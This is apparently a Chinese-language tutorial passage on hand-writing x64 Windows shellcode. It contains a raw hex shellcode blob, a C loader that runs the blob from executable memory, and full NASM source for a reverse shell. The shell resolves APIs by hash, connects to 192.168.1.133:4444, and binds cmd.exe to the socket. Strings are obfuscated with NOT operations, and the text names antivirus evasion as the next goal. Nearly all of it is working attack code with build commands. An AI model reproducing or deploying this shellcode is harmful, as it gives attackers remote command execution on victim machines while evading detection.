\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89\xd8\x8b\x5b\x3c\x4c\x01\xc3\x8b\x93\x88\x00\x00\x00\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x64\x64\x72\x65\x73\x73\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x47\x65\x74\x50\x72\x6f\x63\x41\x50\x48\x89\xe0\x67\xe3\x20\x48\xff\xc9\x31\xdb\x41\x8b\x1c\x8b\x4c\x01\xc3\x4c\x8b\x08\x4c\x39\x0b\x75\xe9\x44\x8b\x48\x08\x44\x39\x4b\x08\x74\x03\x75\xdd\xcc\x44\x8b\x5a\x24\x4d\x01\xc3\x66\x41\x8b\x0c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c\x4d\x01\xc3\x41\x8b\x04\x8b\x4c\x01\xc0\x49\x89\xc4\x4c\x89\xc7\x4c\x89\xc1\xb8\x61\x72\x79\x41\x50\x48\xb8\x4c\x6f\x61\x64\x4c\x69\x62\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x49\x89\xc7\x4d\x89\xe1\x48\x89\xf9\xb8\x65\x73\x73\x90\xc1\xe0\x08\xc1\xe8\x08\x50\x48\xb8\x45\x78\x69\x74\x50\x72\x6f\x63\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x48\x89\xc3\x4d\x89\xe1\x48\x89\xf9\x48\xb8\x6f\x63\x65\x73\x73\x41\x90\x90\x48\xc1\xe0\x10\x48\xc1\xe8\x10\x50\x48\xb8\x43\x72\x65\x61\x74\x65\x50\x72\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd1\x48\x83\xc4\x30\x49\x89\xc5\xb8\x6c\x6c\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x77\x73\x32\x5f\x33\x32\x2e\x64\x50\x48\x89\xe1\x48\x83\xec\x30\x41\xff\xd7\x48\x83\xc4\x30\x49\x89\xc6\x4c\x89\xf1\xb8\x75\x70\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x74\x61\x72\x74\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x49\x89\xc7\x4c\x89\xf1\xb8\x74\x41\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x53\x6f\x63\x6b\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x48\x89\xc6\x4c\x89\xf1\xb8\x63\x74\x90\x90\xc1\xe0\x10\xc1\xe8\x10\x50\x48\xb8\x57\x53\x41\x43\x6f\x6e\x6e\x65\x50\x48\x89\xe2\x48\x83\xec\x30\x41\xff\xd4\x48\x83\xc4\x30\x48\x89\xc7\x4d\x89\xee\x48\x31\xc9\x66\xb9\x98\x01\x48\x29\xcc\x48\x8d\x14\x24\x66\xb9\x02\x02\x48\x83\xec\x28\x41\xff\xd7\x48\x83\xc4\x30\x48\x31\xc9\xb1\x02\x48\x31\xd2\xb2\x01\x4d\x31\xc0\x41\xb0\x06\x4d\x31\xc9\x4c\x89\x4c\x24\x20\x4c\x89\x4c\x24\x28\xff\xd6\x48\x83\xc4\x30\x49\x89\xc4\x49\x89\xc5\x4c\x89\xe9\x48\x31\xc0\x48\xff\xc0\x48\xff\xc0\x48\x89\x04\x24\x66\xb8\x11\x5c\x66\x89\x44\x24\x02\xb8\xc0\xa8\x01\x85\x48\x89\x44\x24\x04\x48\x8d\x14\x24\x41\xb8\x16\x00\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x41\x51\x48\x83\xc4\x08\x48\x83\xec\x60\x48\x83\xec\x60\xff\xd7\x48\x83\xc4\x30\x48\xb8\x63\x6d\x64\x2e\x65\x78\x65\x00\x50\x48\x89\xe1\x41\x55\x41\x55\x41\x55\x48\x31\xc0\x50\x50\x66\x50\xb0\x01\xc1\xe0\x08\x66\x50\x48\x31\xc0\x50\x50\x50\x66\x50\x66\x50\x50\x50\x50\xb0\x68\x50\x48\x89\xe7\x48\x89\xe0\x48\x83\xe8\x18\x50\x57\x48\x31\xc0\x50\x50\x50\x48\xff\xc0\x50\x48\x31\xc0\x49\x89\xc0\x49\x89\xc1\x48\x89\xca\x48\x89\xc1\x48\x83\xec\x20\x41\xff\xd6\xb9\x00\x00\x00\x00\xff\xd3
然后利用我们的加载器(C语言版本),加载执行
C
#include <windows.h>
#include <stdio.h>
#include <signal.h>
unsigned char shellcode[] =
"ShellCode"; // 在这里填入我们的shell
void handler(int sig) {
printf("Exception occurred! (signal %d)\n", sig);
exit(1);
}
int main() {
printf("Loading Shellcode...\n");
printf("Shellcode size: %d bytes\n", sizeof(shellcode));
signal(SIGSEGV, handler);
signal(SIGILL, handler);
void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec == NULL) {
printf("VirtualAlloc failed: %d\n", GetLastError());
return 1;
}
memcpy(exec, shellcode, sizeof(shellcode));
printf("Shellcode at: 0x%p\n", exec);
// 执行
((void(*)())exec)();
printf("Shellcode returned (should not happen)\n");
VirtualFree(exec, 0, MEM_RELEASE);
return 0;
}
gcc -o loader.exe loader.c -m64

也是可以成功执行的
总结
x64汇编写ShellCode只是基础,怎么将这个ShellCode的恶意特征消除,针对杀软进行防御规避,还有好长的路,但是我们已经走出了从0到1的一步,从借用他人的到拥有自己的ShellCode。
BITS 64
SECTION .text
global main
main:
sub rsp, 0x28
and rsp, 0xFFFFFFFFFFFFFFF0 ; 栈对齐
; =================================================================
; 1. 通过 PEB 获取 kernel32.dll 基地址
; =================================================================
xor rcx, rcx
mov rax, [gs:rcx+0x60] ; PEB
mov rax, [rax+0x18] ; PEB->Ldr
mov rsi, [rax+0x10] ; InLoadOrderModuleList
mov rsi, [rsi] ; ntdll.dll
mov rsi, [rsi] ; kernel32.dll
mov rbp, [rsi+0x30] ; RBP = kernel32.dll 基地址
; =================================================================
; 2. 使用 Hash 解析 kernel32.dll 中的 API
; =================================================================
; 获取 LoadLibraryA
mov rcx, rbp
mov edx, 0xa4a1011b
call GetApiByHash
mov r15, rax
; 获取 CreateProcessA
mov rcx, rbp
mov edx, 0x4b09a53c
call GetApiByHash
mov r14, rax
; 获取 ExitProcess
mov rcx, rbp
mov edx, 0xe3db70a7
call GetApiByHash
mov r13, rax
; =================================================================
; 3. 加载 ws2_32.dll 并获取其基地址
; =================================================================
mov rax, 0x6F6F9393
not rax
shl eax, 0x10
shr eax, 0x10
push rax
mov rax, 0x9BD1CDCCA0CD8C88
not rax
push rax
mov rcx, rsp
sub rsp, 0x20
call r15
add rsp, 0x30
mov rbp, rax
; =================================================================
; 4. 使用 Hash 解析 ws2_32.dll 中的 API
; =================================================================
; 获取 WSAStartup
mov rcx, rbp
mov edx, 0x2e226fcc
call GetApiByHash
mov r12, rax
; 获取 WSASocketA
mov rcx, rbp
mov edx, 0x180eabdd
call GetApiByHash
mov rsi, rax
; 获取 WSAConnect
mov rcx, rbp
mov edx, 0x18dc290c
call GetApiByHash
mov rdi, rax
; =================================================================
; 5. 执行反弹 Shell 逻辑
; =================================================================
; 调用 WSAStartup
xor rcx, rcx
mov cx, 0x198
sub rsp, rcx
lea rdx, [rsp]
mov cx, 0x202
sub rsp, 0x28
call r12
add rsp, 0x28 + 0x198
; 调用 WSASocketA
xor rcx, rcx
mov cl, 2
xor rdx, rdx
mov dl, 1
xor r8, r8
mov r8b, 6
xor r9, r9
push r9
push r9
sub rsp, 0x20
call rsi
add rsp, 0x28
mov rbx, rax
; 调用 WSAConnect
mov rcx, rbx
xor rax, rax
push rax
push rax
mov ax, 0x5C11
shl eax, 16
add ax, 2
push rax
mov rax, 0x8501A8C0
mov [rsp+4], eax
lea rdx, [rsp]
mov r8, 0x16
xor r9, r9
push r9
push r9
push r9
sub rsp, 0x20
call rdi
add rsp, 0x48
; 准备 "cmd.exe" 字符串
mov rax, 0xFF9A879AD19B929C ; not 运算消除cmd.exe硬编码
push rax
not qword[rsp]
mov rdx, rsp ; RDX = lpCommandLine
; 保存 socket 到 r13(因为后续 rep stosq 会破坏 rbx,我们借用 r13 临时存放 socket)
mov r13, rbx ; r13 = socket handle(hStdInput/Output/Error)
; 2. 准备栈空间(总计 0xD8,保证 16 字节对齐)
; STARTUPINFOA (0x68) + PROCESS_INFORMATION (0x18) + 栈参数 (0x30) + 影子空间 (0x20) + 前面 cmd push (0x08)
sub rsp, 0xD8
; 3. 清零 SI 和 PI 空间
lea rdi, [rsp + 0x50]
xor rax, rax
mov rcx, 0x10 ; 128 字节清零
rep stosq
; 4. 填充 STARTUPINFOA
lea rdi, [rsp + 0x50] ; RDI = &STARTUPINFOA
mov dword [rdi], 0x68 ; cb = 0x68
mov dword [rdi + 0x3C], 0x100 ; dwFlags = STARTF_USESTDHANDLES
mov [rdi + 0x50], r13 ; hStdInput = socket
mov [rdi + 0x58], r13 ; hStdOutput = socket
mov [rdi + 0x60], r13 ; hStdError = socket
; 5. 设置 CreateProcessA 参数
xor rcx, rcx ; rcx = lpApplicationName = NULL
xor r8, r8 ; r8 = lpProcessAttributes = NULL
xor r9, r9 ; r9 = lpThreadAttributes = NULL
mov qword [rsp + 0x20], 1 ; 5th: bInheritHandles = TRUE
mov qword [rsp + 0x28], 0 ; 6th: dwCreationFlags = 0
mov qword [rsp + 0x30], 0 ; 7th: lpEnvironment = NULL
mov qword [rsp + 0x38], 0 ; 8th: lpCurrentDirectory = NULL
mov [rsp + 0x40], rdi ; 9th: lpStartupInfo = &STARTUPINFOA
lea rax, [rsp + 0xB8] ; 10th: lpProcessInformation(PI 位置)
mov [rsp + 0x48], rax
; 6. 调用
call r14
add rsp, 0xD8 + 8
; 6. 退出进程
xor rcx, rcx
call r13
; =====================================================================
; 子程序: GetApiByHash
; =====================================================================
GetApiByHash:
push rbx
push rsi
push rdi
push r8
push r9
push r10
push r11
mov r8, rcx
mov ebx, [r8+0x3C]
add rbx, r8
mov ebx, [rbx+0x88]
add rbx, r8
mov r10d, [rbx+0x18]
mov r11d, [rbx+0x20]
add r11, r8
.find_api_loop:
dec r10
js .api_not_found
mov esi, [r11+r10*4]
add rsi, r8
xor eax, eax
.calc_hash:
movzx r9, byte [rsi]
test r9, r9
jz .check_hash
rol eax, 5
xor eax, r9d
inc rsi
jmp .calc_hash
.check_hash:
cmp eax, edx
jnz .find_api_loop
mov r11d, [rbx+0x24]
add r11, r8
movzx r10, word [r11+r10*2]
mov r11d, [rbx+0x1C]
add r11, r8
mov eax, [r11+r10*4]
add rax, r8
jmp .end_func
.api_not_found:
xor rax, rax
.end_func:
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbx
ret
nasm -fwin64 ShellCode.asm
gcc -m64 ShellCode.obj -o ShellCode.exe -lkernel32 -lws2_32 -nostartfiles